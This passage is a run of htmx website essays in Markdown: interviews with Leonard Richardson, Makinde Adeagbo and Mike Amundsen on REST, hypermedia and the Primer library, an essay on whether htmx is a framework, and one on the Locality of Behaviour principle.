written by that company and one server deployment managed by that company. If the API has any official client
implementations, those are also controlled by the company that owns the API. The fact that we say "the \[company\] API"
is the opposite of interoperability.
>
> Users like interoperability, but vendors prefer lock-in. We see that in their behavior. Netflix was happy to provide a
hypermedia API for their program data... until their streaming business became big enough. Once they were the dominant
player and could dictate the terms of integration, Netflix shut down their API. Twitter used to cut off your API access
if your client got too popular; then they banned third-party clients altogether.
>
> There are lots of APIs that consider interoperability a strong point, and many of them are oriented around hypermedia,
but almost all of them live outside the space of commercial competition. In 2008 when I gave the "maturity heuristic"
talk I was working on software development tools at Canonical, which is a for-profit company but heavily involved in
open source development. We wanted lots of tools and programming environments to be able to talk to our API, but the API
was a relatively small part of our process and we didn't have enough developers to manage a bunch of official clients. A
hypermedia-based approach gave us a certain flexibility to change our API without breaking all the clients.
>
> After that I spent eight years working on ebook delivery in the US public library space, which is extremely fragmented
in terms of IT management. In a nonprofit environment with lots of independent server deployments, hypermedia (in the
form of the [OPDS](https://opds.io/) protocol) was a really easy
pitch. [I gave a talk about that.](https://www.crummy.com/writing/speaking/2015-RESTFest/)
>
> To get the benefits of hypermedia you have to collaborate with other people in the same field, consider the entire
problem space, and come up with a design that works for everyone. Who's going to go through all that work when the
reward is “no vendor lock-in”? People who are not competing with their peers: scientists, librarians, and open source
developers.
>
> It might or might not surprise you to learn that the library world is dominated by an antique protocol
called [SIP](https://developers.exlibrisgroup.com/wp-content/uploads/2020/01/3M-Standard-Interchange-Protocol-Version-2.00.pdf). (
Not the VoIP protocol, a different SIP.) SIP is what the self-checkout machine uses to record the fact that you borrowed
the book. SIP first showed up in 1993, its design is distinctively non-RESTful, and in many ways it’s simply *bad*.
Every library vendor has come up with their own level 2 "REST" protocol to do what SIP does. But none have succeeded in
displacing SIP, because that awful old 1993 design provides something a vendor can't offer: interoperability between
components from different
vendors. [I gave a talk about that, too.](https://www.crummy.com/writing/speaking/2016-RESTFest/)

**Question**: Do you think the move from XML to JSON as a format had any influence on how Web APIs evolved?

> Absolutely. Moving from XML to JSON replaced a document-centric design (more suitable for communications with a human at
one end) with a data-centric design (more suitable for machine-to-machine communication). The cost was forgetting about
hypermedia altogether.
>
> One thing about Martin's diagram that I think obscures more than it reveals is: he calls level 0 the "Swamp of POX".
This makes it seem like the problem is (Plain Old) XML. Martin is actually talking about SOAP there. The big problem
with SOAP services isn't XML (although they do have way too much XML), it's that they don't use URLs. A SOAP client puts
all of the request information into an XML package and tunnels it through a single service endpoint. This makes SOAP
opaque to the tools designed to manage and monitor and inspect HTTP traffic. This is by design, because the point of
SOAP is to let you make RPC calls when your IT department has everything but port 80 locked down.
>
> Anyway, XML is great\! It's too verbose to make an efficient data representation format, but XML has namespaces, and
through namespaces it has hypermedia controls (via XLink, XForms, XHTML, Atom, etc.). JSON has no hypermedia controls,
and because it also has no namespaces, you can't add them after the fact.
>
> People started adopting JSON because they were tired of XML processing and excited about AJAX (in-browser HTTP clients
driven by Javascript, for those who weren't there). But that initial decision started constraining decisions down the
road.
>
> By 2011, all new web APIs were using a representation format with no hypermedia controls. You couldn't do a
hypermedia-based design if you wanted to. Our technical language had lost the words. First you'd have to define a
JSON-based media type that had hypermedia (like Siren), or namespaces (like JSON-LD).

**Question**: What are your thoughts on GraphQL and other non-RESTful API technologies?

> With regard to non-RESTful API technologies in general, I would suggest that folks take a break
from [chapter 5](https://ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm) of Roy Fielding's dissertation,
and look at chapters [2](https://ics.uci.edu/~fielding/pubs/dissertation/net_app_arch.htm%20)
and [4](https://ics.uci.edu/~fielding/pubs/dissertation/web_arch_domain.htm).
>
> Chapter 5 is where Fielding talks about the design of the Web, but Chapter 2 breaks down all of the possible good things
you might want from a networked application architecture, only some of which apply to the Web. Chapter 4 explains the
tradeoffs that were made when designing the Web, giving us some good things at the expense of others.
>
> Chapter 4 lists five main advantages of the Web: low entry-barrier, extensibility, distributed hypermedia, anarchic
scalability, and independent deployment. REST is a really effective way of getting those advantages, but the advantages
themselves are what you really want. If you can get them without the Web technologies, then all you've lost is the
accumulated expertise that comes with those technologies (although that ain't nothing at this point). And if you *don't*
want some of these advantages (probably distributed hypermedia) you can go back to chapter 2, start the process over,
and end up with a differently optimized architecture.
>
> I don't have any direct experience with GraphQL, though I'm about to get some at my current job, so take this with a
grain of salt:
>
> On a technical level, GraphQL is solving a problem that's very common in API design: performing a database query across
a network connection without sending a bunch of unneeded data over the wire. Looking at the docs I see it also has "
Mutations" which seem very SOAP-ish. I guess I'd say GraphQL looks like a modern version of SOAP, optimized for the
common case of querying a database.
>
> Since GraphQL is independently deployable, supports multiple server implementations and defines no domain-specific
semantics, an interoperable domain-specific API could be built on top of it. Rather than exporting your data model to
GraphQL and clashing with a dozen similar data models from the same industry, you could get together with your peers and
agree upon a common set of semantics and mutations for your problem space. Then you'd have interoperability. It's not
much different from what we did with OPDS in the library world, defining what concepts like "bookshelf" and "borrow"
mean.
>
> Would it be RESTful? Nope\! But again I'll come back to SIP, the integration protocol that public libraries use to keep
track of loans. SIP is a level zero protocol\! It doesn't use any of the Web technologies at all\! But it provides
architectural properties that libraries value and vendor-centric solutions can't offer–mainly interoperability–so it
sticks around despite the presence of "RESTful" solutions.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/interviews/makinde_adeagbo.md

+++
title = "An interview with Makinde Adeagbo, Creator of Primer"
description = """\
  In this interview with software engineer Makinde Adeagbo, he discusses his role in creating Primer, a \
  hypermedia-oriented JavaScript library used at Facebook in the 2000s, and shares insights about building developer \
  tools, Facebook's evolution, and the cyclical nature of web development approaches."""
date = 2025-01-27
updated = 2025-01-27
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

I'm delighted to be able to interview Makinde Adeagbo, one of the creators of [Primer](https://www.youtube.com/watch?v=wHlyLEPtL9o),
an hypermedia-oriented javascript library that was being used at Facebook in the 2000s.

Thank you for agreeing to an interview!

Q: To begin with, why don’t you give the readers a bit of your background both professionally & technically?

>I’ve always been into tech. In high school, I used to build computers for friends and family. I took the computer science classes my high school offered and went on to study computer science in college. I was always amazed by the fact that I could build cool things—games, tools, etc.—with just a computer and an internet connection.
>
>I was lucky enough to participate in Explore Microsoft, an internship that identifies underrepresented college freshmen and gives them a shot at working at Microsoft. After that experience, I was sold on software as my future. I later interned at Apple and Microsoft again. During college, I also worked at Facebook when the company was about 150 employees. It was an incredible experience where engineers had near-total freedom to build and contribute to the company’s growth. It was exactly what I needed early in my career, and I thrived. From there, I went on to work at Dropbox and Pinterest and also co-founded the nonprofit, /dev/color.

Q: Can you give me the history of how Primer came to be?

>In 2010, the Facebook website was sloooow. This wasn’t the fault of any specific person—each engineer was adding features and, along the way, small amounts of JavaScript. However, we didn’t have a coherent system for sharing libraries or tracking how much JavaScript was being shipped with each page. Over time, this led to the 90th-percentile page load time ballooning to about 10 seconds! Midway through the year, reducing that load time by half became one of the company’s three top priorities. I was on a small team of engineers tasked with making it happen.
>
>As we investigated where most of the JavaScript was coming from, we noticed the majority of it was performing simple tasks. These tasks involved either fetching additional data or markup from the server, or submitting a form and then receiving more markup to update the page. With limited time, we decided to build a small solution to abstract those patterns and reduce the amount of code needed on the page.
>
>Tom Occhino and I built the first version of Primer and converted a few use cases ourselves to ensure it worked well. Once we were confident, we brought more engineers into the effort to scale it across the codebase.

Q: Primer & React were both created at Facebook. Was there any internal competition or discussion between the teams? What did that look like?

>The two projects came from different eras, needs, and parts of the codebase. As far as I know, there was never any competition between them.
>
>Primer worked well for the type of website we were building in 2010. A key part of its success was understanding that it wasn’t meant to handle every use case. It was an 80/20 solution, and we didn’t use it for particularly complex interactions (like the interface for creating a new post).
>
>React emerged from a completely different challenge: the ads tools. Managing, composing, and tracking hundreds of ads required a highly involved, complex interface. I’m not sure if they ever attempted to use Primer for it, but it would have been a miserable experience. We didn’t have the terminology at the time, but this was a classic example of a single-page application needing purpose-built tools. The users of that site also had a very different profile from someone browsing their home feed or clicking through photos.

Q: Why do you think Primer ultimately failed at Facebook?

>I don’t think there’s any single technical solution that has spanned 15 years in Facebook’s platform. The site’s needs evolve, technology changes, and the internet’s landscape shifts over time. Primer served the site well for its time and constraints, but eventually, the product demanded richer interactivity, which wasn’t what Primer was designed for.
>
>Other tradeoffs also come into play: developer ease/speed, security, scalability. These priorities and tradeoffs change over time, especially as a company grows 10x in size.
>
>More broadly, these things tend to work in cycles in the industry. Streamlined, fast solutions give way to richer, heavier tools, which eventually cycle back to streamlined and fast. I wouldn’t be surprised if something like Primer made a comeback at some point.

Q: How much “theory” was there to Primer? Did you think much about hypermedia, REST, etc., when you were building it?

>Not much. Honestly, I was young and didn’t know a ton about the internet’s history or past research. I was drawn to the simplicity of the web’s underlying building blocks and thought it was fun to use those tools as they were designed. But, as always, the web is a layer cake of hacks and bandaids, so you have to be flexible.

Q: What were the most important technical lessons you took away from Primer?

>Honestly, the biggest lessons were about people. Building a system like Primer is one thing, but for it to succeed, you have to train hundreds of engineers to use it. You have to teach them to think differently about building things, ask questions at the right time, and avoid going too far in the wrong direction. At the end of the day, even if the system is perfect, if engineers hate using it, it won’t succeed.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/interviews/mike_amundsen.md

+++
title = "An interview with Mike Amundsen, Author of 'RESTful Web APIs'"
description = """\
  In this in-depth interview, Mike Amundsen, a leading expert on REST and hypermedia, discusses the evolution of \
  hypermedia technologies, highlights unsung pioneers like Paul Otlet, and shares insights on the future of hypermedia \
  in enterprise systems and machine-to-machine interactions."""
date = 2025-01-27
updated = 2025-01-27
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

Mike Amundsen is a computer programmer, author and speaker, and is one of the world leading experts on REST &
hypermedia. He has been writing about REST and Hypermedia since 2008 and has published two books on the ideas:

* [RESTful Web APIs](http://restfulwebapis.com/)
* [Building Hypermedia APIs with HTML and Node](http://www.dpbolvw.net/click-7269430-11260198?sid=HP&url=http%3A%2F%2Fshop.oreilly.com%2Fproduct%2F0636920020530.do%3Fcmp%3Daf-prog-book-product_cj_9781449306571_%25zp&cjsku=0636920020530)

Mike agreed to do an interview with me on his view of the history of hypermedia and where things are today.

**Q**: The “standard” history of hypermedia is Vannevar Bush’s “As We May Think”, followed by Nelson introducing
the term “hypermedia” in 1963, Englebart’s “Mother of all Demos” in 1968 and then Berners-Lee creating The Web in 1990\.
Are there any other important points you see along the way?

> I think starting the history of what I call the “modern web” with Bush makes a lot of sense. Primarily because you can
> directly link Bush to Engelbart to Nelson to Berners-Lee to Fielding. That’s more than half a century of scholarship,
> design, and implementation that we can study, learn from, and expand upon.
> 
> At the same time, I think there is an unsung hero in the hypermedia story; one stretches back to the early 20th century.
> I am referring to the Belgian author and entrepreneur [Paul Otlet](https://en.wikipedia.org/wiki/Paul_Otlet). Otlet had
> a vision of [a multimedia information system](https://monoskop.org/Mundaneum_symposium) he named the “World Wide
> Network”. He saw how we could combine text, audio, and video into a mix of live and on-demand replay of content from
> around the world. He even envisioned a kind of multimedia workstation that supported searching, storing, and playing
> content in what was the earliest instance I can find of an understanding of what we call “streaming services” today.
> 
> To back all this up, he
> created [a community of researchers](https://daily.jstor.org/internet-before-internet-paul-otlet/) that would read
> monographs, articles, and books then summarize them to fit on a page or less. He then designed an identification
> system – much like our URI/URN/URLs today and created a massive card catalog system to enable searching and collating
> the results into a package that could be shared – even by postal service – with recipients. He created web search by
> mail in the 1920s\!
> 
> This was a man well ahead of his time that I’d like to see talked about more in hypermedia and information system
> circles.

**Question**: Why do you think that The Web won over other hypermedia systems (such as Xanadu)?

> The short reason is, I think, that Xanadu was a much more detailed and specific way of thinking about linking documents,
> documenting provenance, and compensating authors. That’s a grand vision that was difficult to implement back in the 60s
> and 70s when Nelson was sharing his ideas.
> 
> There are, of course, lots of other factors. Berners-Lee’s vision was much smaller (he was trying to make it easy for
> CERN staff to share contact information\!). Berners-Lee was, I think, much more pragmatic about the implementation
> details. He himself said he used existing tech (DNS, packet networking, etc.) to implement his ideas. That meant he
> attracted interest from lots of different communities (telephone, information systems, computing, networking, etc.).
> 
> I would also say here that I wish [Wendy Hall](https://en.wikipedia.org/wiki/Wendy_Hall)
> ’s [Microcosm](https://www.sciencefriday.com/articles/the-woman-who-linked-the-web-in-a-microcosm/) had gotten more
> traction than it did. Hall and her colleagues built an incredibly rich hypermedia system in the 90s and released it
> before Berners-Lee’s version of “the Web” was available. And Hall’s Microcosm held more closely to the way Bush,
> Englebart, and Nelson thought hypermedia systems would be implemented – primarily by storing the hyperlinks in a
> separate “anchor document” instead of in the source document itself.

**Question**: What do you think of my essay “How did REST come to mean the opposite of REST”? Are there any points you
disagree with in it?

> I read that piece back in 2022 when you released it and enjoyed it. While I have nothing to quibble with, really, there
> are a few observations I can share.
> 
> I think I see most hypermedia developers/researchers go through a kind of cycle where you get exposed to “common” REST,
> then later learn of “Fielding's REST” and then go back to the “common REST” world with your gained knowledge and try to
> get others on board; usually with only a small bit of success.
> 
> I know you like memes so, I’ll add mine here. This journey away from home, into expanded knowledge and the return to the
> mundane life you once led is – to me – just another example of Campbell’s Hero’s Journey\<g\>. I feel this so strongly
> that I created [my own Hero’s Journey presentation](http://amundsen.com/talks/2015-05-barcelona/index.html) to deliver
> at API conferences over the years.
> 
> On a more direct note. I think many readers of Fielding's Dissertation (for those who actually read it) miss some key
> points. Fielding’s paper is about designing network architecture, not about REST. REST is offered as a real-world
> example but it is just that; an example of his approach to information network design. There have been other designs
> from the same school (UC Irvine) including Justin Erenkrantz’s Computational
> REST ([CREST](https://www.erenkrantz.com/CREST/)) and Rohit Kare’s Asynchronous REST (A-REST). These were efforts that
> got the message of Fielding: “Let’s design networked software systems\!”
> 
> But that is much more abstract work that most real-world developers need to deal with. They have to get code out the
> door and up and running quickly and consistently. Fielding’s work, he admitted, was on
> the “[scale of decades](https://roy.gbiv.com/untangled/2008/rest-apis-must-be-hypertext-driven#comment-724)” – a scale
> most developers are not paid to consider.
> 
> In the long run, I think it amazing that a PhD dissertation from almost a quarter-century ago has had such a strong
> influence on day-to-day developers. That’s pretty rare.

**Question**: Hyperview, the mobile hypermedia that Adam Stepinski created, was very explicitly based on your books.
Have you looked at his system?

> I have looked over [Hyperview](https://hyperview.org/) and like what I see. I must admit, however, that I don’t write
> mobile code anymore so I’ve not actually written any hyperview code myself. But I like it.
> 
> I talked to Adam in 2022 about Hyperview in general and was impressed with his thoughts. I’d like to see more people
> talking about and using the Hyperview approach.
> 
> Something I am pretty sure I mentioned to Adam at the time is that Hyperview reminds me of Wireless Markup
> Language ([WML](https://en.wikipedia.org/wiki/Wireless_Markup_Language)). This was another XML-based document model
> aimed at rendering early web content on feature phones (before smartphone technology). Another XML-based hypermedia
> domain-specific document format is [VoiceXML](https://en.wikipedia.org/wiki/VoiceXML). I still think there are great
> applications of hypermedia-based domain-specific markup languages (DSML) and would like to see more of them in use.

**Question**: It’s perhaps wishful thinking, but I feel there is a resurgence in interest in the ideas of hypermedia and
REST (real REST.)  Are you seeing this as well? Do you have a sense if businesses are starting to recognize the
strengths of this approach?

> I, myself, think there is a growth in hypermedia-inspired designs and implementations and I’m glad to see it. I think
> much of the work of APIs in general has been leading the market to start thinking about how to lower the barrier of
> entry for using and interoperating with remote, independent services. And the hypermedia control paradigm (the one you
> and your colleagues talk about in your
> paper “[Hypermedia Controls: Feral to Formal](https://dl.acm.org/doi/fullHtml/10.1145/3648188.3675127)”) offers an
> excellent way to do that.
> 
> I think the biggest hurdle for using more hypermedia in business is
> was [laid out pretty conclusively](https://www.crummy.com/writing/speaking/2015-RESTFest/)
> by [Leonard Richardson](https://www.crummy.com/self/) several years ago. He helped build a
> powerful [hypermedia-based book-sharing server and client](https://opds.io/) system to support public libraries around
> the world. He noted that, in the library domain, each site is not a competitor but a partner. That means libraries are
> encouraged to make it easier to loan out books and interoperate with other libraries.
> 
> Most businesses operate on the opposite model. They typically succeed by creating barriers of entry and by hoarding
> assets, not sharing them. Hypermedia makes it easier to share and interact without the need of central control or other
> types of “gatekeeping.”
> 
> Having said that, I think a ripe territory for increased use of hypermedia to lower the bar and increase interaction is
> at the enterprise level in large organizations. Most big companies spend huge amounts of money building and rebuilding
> interfaces in order to improve their internal information system. I can’t help but think designing and implementing
> hypermedia-driven solutions would yield long-term savings, and near-term sustainable interoperability.

**Question**: Are there any concepts in hypermedia that you think we are sleeping on? Or, maybe said another way, some
older ideas that are worth looking at again?

> Well, as I just mentioned, I think hypermedia has a big role to play in the field of interoperability. And I think the
> API-era has, in some ways, distracted us from the power of hypermedia controls as a design element for
> service-to-service interactions.
> 
> While I think Nelson, Berners-Lee and others have done a great job of laying out the possibilities for human-to-machine
> interaction, I think we’ve lost sight of the possibilities hypermedia gives us for machine-to-machine interactions. I am
> surprised we don’t have more hypermedia-driven workflow systems available today.
> 
> And I think the rise in popularity of LLM-driven automation is another great opportunity to create hypermedia-based,
> composable services that can be “orchestrated” on the fly. I am worried that we’ll get too tied up in trying to make
> generative AI systems look and act like human users and miss the chance to design hypermedia workflow designed
> specifically to take advantage of the strengths of statistical language models.
> 
> I’ve seen some interesting things in this area including [Zdenek Nemec](https://www.linkedin.com/in/zdne/)’s 
> [Superface](https://superface.ai/) project which has been working on this hypermedia-driven workflow for several
> years.
> 
> I just think there are lots of opportunities to apply what we’ve learned from the last 100 years (when you include
> Otlet) of hypermedia thinking. And I’m looking forward to seeing what comes next.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/is-htmx-another-javascript-framework.md

+++
title = "Is htmx Just Another JavaScript Framework?"
description = """\
  Alexander Petros give a thoughtful exploration of htmx's relationship to traditional JavaScript frameworks, \
  examining how its HTML-first approach and narrow focus on network requests sets it apart. He argues that while htmx \
  exhibits framework-like qualities in how it shapes application architecture, its deep integration with HTML's native \
  capabilities and lack of dependencies makes it a more sustainable choice for building long-lasting web \
  applications."""
date = 2024-01-10
authors = ["Alexander Petros"]
[taxonomies]
tag = ["posts"]
+++

One of the most common criticisms of htmx, usually from people hearing about it for the first time, goes like this:

>You're complaining about the complexity of modern frontend frameworks, but your solution is just another complex frontend framework.

This is an excellent objection! It's the right question to ask about *any* third-party (3P) code that you introduce into your project. Even though you aren't writing the 3P code yourself, by including it in your project you are committed to understanding it—and refreshing that understanding if you want to upgrade it. That's a big commitment.

Let's break this criticism down into its constituent parts, and determine exactly how much htmx indulges in the harms it claims to solve.

## The difference between a library and a framework

Some htmx defenders jump to our aid with: "htmx isn't a framework, it's a library." This is probably incorrect.

"Framework" is a colloquial term—there's no hard rule for the point at which some third-party code evolves from a "library" into a "framework"—but we should still try to define it. In this context:

* **Library** - 3P code whose API does not significantly influence the rest of the application
* **Framework** - 3P code whose API dictates the overall structure of the application

If you prefer metaphors: a library is a cog that you add to your machine, a framework is a pre-built machine that you control by customizing its cogs.

This distinction, fuzzy though it may be, is important because it describes how easily some third-party code can be replaced. For example, a JavaScript service that uses a CSV parsing library can probably swap in a different CSV parsing library without too much trouble; a JavaScript service that uses the NextJS framework, however, is probably going to depend on NextJS for its entire useful life, since an enormous chunk of the code is written with the assumption that it is interacting with NextJS constructs.

Therefore, if your service is built atop a framework, its useful lifespan is tied to the useful lifespan of that framework. If that framework is abandoned, or despised, or otherwise undesirable to work on, the difficulty of modifying your project will steadily increase until you give up modifying it, and eventually, mothball it altogether.

That's what people are worried about when they ask is "is htmx just another JavaScript framework?" They want to be sure that they're not committing to a system that will be obsolete soon, like so many of the past web development frameworks.

So: is htmx a framework? And is it going to be fast made obsolete, leaving a trail of un-maintainable websites in the wake of its meteoric demise?

## htmx is (usually) a framework

With apologies to our community's ongoing debate about this question—I think htmx is pretty clearly a framework, at least in the majority use-case. But it does depend on how you use it.

Wherever you make use of htmx in your project, you're including htmx attributes in your HTML (i.e. `hx-post`, `hx-target`), writing endpoints that are called with htmx-formatted data (with certain request headers), and returning data from those endpoints that is formatted in ways that htmx expects (HTML with `hx-*` controls). All of these attributes and headers and endpoints interact with each other to create a system by which elements enter and exit the DOM via network request.

If you use htmx to handle a non-trivial number of your website's network requests, then the inclusion of htmx in your application has significant implications for the project's structure, from the way you structure your frontend markup, to the database queries your endpoints make. That is framework-like behavior, and in that scenario, htmx cannot be trivially replaced.

You can definitely use htmx in a library-like manner, to add dynamic functionality to just a few sections of your web page. But you can write [React in this library-like manner too](https://www.patterns.dev/vanilla/islands-architecture) and nobody argues that React isn't a framework. Suffice to say that many people who use htmx in their applications are doing so in a way that bends to the demands of htmx, as a framework for building hypermedia applications.

As they should! Building with htmx works a lot better if you play to its strengths. You can send JSON-formatted form bodies, [if you really insist](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/json-enc/README.md). But you shouldn't! It's simpler to just use `application/x-www-form-urlencoded` bodies, and write an endpoint that accepts them. You can write an endpoint that is re-used across multiple different clients, [if you really insist](@/essays/why-tend-not-to-use-content-negotiation.md). But you shouldn't!  It's simpler to [split your data and your hypermedia APIs into separate URLs](@/essays/splitting-your-apis.md). Yes, htmx can be used as a library, but maybe let it be your framework too.

That does not mean, however, that htmx is Just Another JavaScript Framework, because htmx has a huge advantage that the other frameworks do not: HTML.

## htmx is for writing HTML

Let's say you're using htmx as a framework—is it a *JavaScript* framework? In one obvious sense, yes: htmx is implemented with ~4k lines of JS. But in another, much more important sense, it is not: React, Svelte, Solid, and so on have you write JS(X) that the framework converts into HTML; htmx just has you write HTML. This removes entire categories of maintenance that might make you abandon other frameworks with time.

Codebases tend to get stuck when you want to upgrade or change some dependency, but the framework you use is incompatible with that change. Java is the most notorious offender here—there are untold millions of lines of Java in production that will never leave Java 8 because upgrading Spring is too hard—but the npm package ecosystem is a close second. When you use the htmx "framework" you will never have this problem, because htmx is a [zero-dependency, client-loaded JavaScript file](@/essays/no-build-step.md), so it is guaranteed to never conflict with whatever build process or dependency chain your server *does* depend on.

Browsers render HTML, so no compiler or transpiler is ever necessary to work with htmx. While many htmx users happily render API responses with JSX, htmx works very well with [classic](https://jinja.palletsprojects.com) [template](https://ejs.co/) [engines](https://docs.ruby-lang.org/en/2.3.0/ERB.html), making it portable to [whatever language you like](@/essays/hypermedia-on-whatever-youd-like.md). Say what you will about Django and Rails, but they were relevant in 2008 and they're relevant today—htmx integrates seamlessly with them both. This is a recurring theme with htmx-driven development: htmx works well with development tools old and new, because the common denominator in all these tools is HTML, and htmx is for writing HTML.

<div style="text-align:center; width:100%">
  <img width=500
       src="/img/memes/htmxanddjango.png"
       alt="A monkey labeled 'HTMX' protecting a cute dog named 'Django' from 'all that compilated JS noise'"
      >
</div>

Pushing the user to define the behavior of their application primarily in HTML, rather than JS, has too many advantages to cover in this essay, so I'll stick to the one people hate most about JavaScript fameworks: churn. Depending on when you wrote your React application, you might have written your form with [controlled class components](https://legacy.reactjs.org/docs/forms.html), or [react hooks](https://blog.logrocket.com/react-hook-form-complete-guide/), or this [experimental `<form>` extension](https://react.dev/reference/react-dom/components/form). This is genuinely maddening, especially if you—like me—first learned how to make a web form with class components.

No matter when you wrote your htmx application, however, the behavior of an htmx form has always been defined in largely the same way a regular HTML form is: with `<form>`. With htmx adding additional network functionality, you can finally use `PUT` requests and control where the response goes, but in all other respects—validation, inputs, labels, autocomplete—you have default `<form>` element behavior.

Finally, because htmx simply extends HTML in a very narrow domain (network requests and DOM replacements), most of the "htmx" you write is just plain old HTML. When you have access to complex state management mechanisms, it's incredibly easy to implement a custom collapsible div; when you don't, you might stop long enough to search up the [`<details>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/details) element. Whenever a problem can be solved by native HTML elements, the longevity of the code improves tremendously as a result. This is a much less alienating way to learn web development, because the bulk of your knowledge will remain relevant as long as HTML does.

In this respect, htmx is much more like JQuery than React (htmx's predecessor, [intercooler.js](https://intercoolerjs.org/), was a JQuery extension), but it improves on JQuery by using a declarative, HTML-based interface: where JQuery made you go to the `<script>` tag to specify AJAX behavior, htmx requires only a simple `hx-post` attribute.

In short, while htmx can be used as a framework, it's a framework that [deviates far less from the web's semantics](https://unplannedobsolescence.com/blog/custom-html-has-levels) than the JavaScript frameworks do, and will benefit from improvements in those semantics with no additional work from the user, thanks to the web's [excellent backwards compatibility guarantees](https://developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web/The_web_and_web_standards#dont_break_the_web). If you want to build a website that lasts for a long time, these qualities make htmx a substantially better bet than many of its contemporaries.

*NOTE: Despite agreeing with this analysis, finding no logical flaws in the essay, and allowing me to publish it on his website, Carson continues to insist that htmx is a library.*

<div style="text-align:center; width:100%">
  <img width=500
       src="/img/memes/istudiedhtml.png"
       alt="A man holding a sword. He says: 'When you wrote class components, I studied HTML. When you were converting classes to hooks, I mastered the HTML. While you wasted time moving all your client-side logic to server components, I cultivated inner HTML. And now that the browser won't hydrate your thick client JSON API you have the audacity to come to me for help?'"
      >
</div>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/locality-of-behaviour.md

+++
title = "Locality of Behaviour (LoB)"
description = """\
  Carson Gross explores the Locality of Behaviour (LoB) principle, which emphasizes making the behavior of code units \
  obvious on inspection to enhance maintainability. He discusses the tradeoffs between LoB and other software design \
  principles like DRY and SoC, offering insights on balancing clarity, abstraction, and maintainability in modern \
  development."""
date = 2020-05-29
updated = 2023-01-20
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

> "The primary feature for easy maintenance is locality: Locality is that characteristic of source code that enables a 
> programmer to understand that source by looking at only a small portion of it." -- [Richard Gabriel](https://www.dreamsongs.com/Files/PatternsOfSoftware.pdf)

## The LoB Principle

Locality of Behaviour is the principle that: 

> The behaviour of a unit of code should be as obvious as possible by looking only at that unit of code

## Discussion

The LoB principle is a simple prescriptive formulation of the quoted statement from [Richard Gabriel](https://www.dreamsongs.com).
In as much as it is possible, and in balance with other concerns, developers should strive to make the behaviour of
a code element obvious on inspection.

Consider two different implementations of an AJAX request in HTML, the first in [htmx](@/_index.md):

```html
<button hx-get="/clicked">Click Me</button>
```

and the second in [jQuery](https://jquery.com/):

```javascript
  $("#d1").on("click", function(){
    $.ajax({
         /* AJAX options... */
    });
  });
```

```html
<button id="d1">Click Me</button>
```

In the former, the behaviour of the `button` element is obvious on inspection, satisfying the LoB principle.

In the latter, the behaviour of the `button` element is spread out amongst multiple files.  It is difficult to know
exactly what the button does without a total knowledge of the code base.  This "spooky action at a distance" is a source
of maintenance issues and stands in the way of developers understanding of the code base.

The htmx example demonstrates good Locality of Behaviour, while the jQuery example has poor Locality of Behaviour.

### Surfacing Behaviour vs. Inlining Implementation

A common objection to Locality of Behaviour is that it is inlining implementation details within a code unit, making the
code unit less abstract and more brittle.  However, it is important to make the distinction between inlining the
*implementation* of some behaviour and inlining the invocation (or declaration) of some behaviour.  

Consider functions in most programming languages: there is a distinction between the declaration of function and its 
use at call sites.  A good function abstracts away its implementation details, but is also invoked in an obvious manner, 
without any spooky action at a distance.

Increasing the obviousness of the behaviour of an element is, ceteris paribus, a good thing, but it falls to both end-developers
and especially framework developers to make LoB both as easy and as conceptually clean as possible.

### Conflict With Other Development Principles

The LoB will often conflict with other software development principles.  Two important ones
are:

* [DRY - Don't Repeat Yourself](https://en.wikipedia.org/wiki/Don%27t_repeat_yourself)
  
  Software developers typically strive to avoid redundancy in their code or data.  This has come to be called "Staying DRY",
  i.e. Don't Repeat Yourself.  Like other software design principles this, on its own, is a good thing.  htmx, for example, 
  allows you to place many attributes on parent elements in a DOM and avoid repeating these attributes on children.  This is a 
  violation of LoB, in favor of DRY, and such tradeoffs need to be made judiciously by developers.
  
  Note that the further behaviour gets from the code unit it effects, the more severe the violation of LoB.  If it is
  within a few lines of the code unit, this is less serious than if it is a page away, which is less serious than if
  it is in a separate file entirely.  
  
  There is no hard and fast rule, but rather subjective tradeoffs that must be made as software developers.
  
* [SoC - Separation Of Concerns](https://en.wikipedia.org/wiki/Separation_of_concerns)
  
  Separation of concerns a design principle for separating a computer program into distinct sections such that each 
  section addresses a separate concern.  A canonical example of this is splitting HTML, CSS, and Javascript.  Again, on its own and
  in isolation this may, indeed, be a good thing.  Inlining styles [has become more prevalent lately](https://tailwindcss.com/), 
  but there are still strong arguments in favor of SoC in this regard.
  
  Note that SoC is, however, in conflict with LoB.  By tweaking a CSS file the look and, to an extent, behaviour of an
  element can change dramatically, and it is not obvious where this dramatic change came from.  Tools can help to an extent
  here, but there is still "spooky action at a distance" going on.
  
  Again, this isn't to condemn SoC wholesale, just to say that there are subjective tradeoffs that must be made when
  considering how to structure your code.  The fact that inline styles have become more prevalent as of late is an
  indication that SoC is losing some support amongst developers.
  
## Conclusion

LoB is a subjective software design principle that can help make a code base more humane and maintainable.  It must be traded
off against other design principles and be considered in terms of the limitations of the system a code unit is
written in, but, as much as is it is practical, adherence to this principle will increase your software maintainability,
quality and sustainability.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/lore.md

+++
title = "htmx lore"
description = """\
  Carson Gross explores the fascinating lore of htmx, from its playful community memes like &quot;It's So Over/We're \
  So Back&quot; and &quot;Laser Eye Horse&quot; to humorous controversies such as the &quot;Microsoft Purchase \
  Rumor&quot; and the htmx/intercooler.js feud. This essay dives into the vibrant culture, iconic moments, and \
  lighthearted chaos surrounding htmx."""
date = 2024-12-17
updated = 2024-12-17
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

<center style="padding: 12px">
<img src="/img/i-lied.png" alt="I lied, I don't have a Twitter account. Take off your shoes, we're going to learn about hypermedia." style="border-radius: 32px; max-width: 100%">
</center>

For better or [for worse](https://x.com/IroncladDev/status/1866185587616596356), htmx has collected a lot of lore, mainly around [the twitter account](https://twitter.com/htmx_org).

Here are some explanations.

## It's So Over/We're So Back

